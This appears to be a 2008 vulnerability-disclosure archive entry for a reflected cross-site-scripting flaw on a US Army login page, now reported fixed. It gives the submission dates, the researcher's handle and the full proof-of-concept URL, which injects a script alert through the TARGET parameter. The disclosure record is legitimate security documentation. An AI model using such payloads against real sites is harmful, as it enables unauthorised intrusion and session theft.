www.us.army.mil cross-site-scripting (XSS) Vulnerability

Advertisements:

Security researcher xylitol, has submitted on 28/02/2008 a cross-site-scripting (XSS) vulnerability affecting www.us.army.mil, which at the time of submission ranked 5394 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 03/03/2008. It is currently fixed.

Date submitted: 28/02/2008

Date published: 03/03/2008

Date fixed: 18/06/2008

Status:

FIXED

Author: xylitol

Domain: www.us.army.mil

Category: XSS

Pagerank: 5394

URL: https://www.us.army.mil/appiansuite/login/login.fcc?TYPE=33554433&REALMOID=06-000a4cd6-218f-1122-97e
a-832f882f0000&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=$SM$HP4c7QPYp2KtCVeQ%2f723ECL4%2bJUIHQcnR
MBd2KxCCSc%3d&TARGET=%22%3E%3Cscript%3Ealert('XyLiToL%20Is%20BacK!')%3C/script%3E

Click here to view the mirror

XSS Attacks
Cross Site Scripting Exploits and Defense

Website Fraud Loss Prevention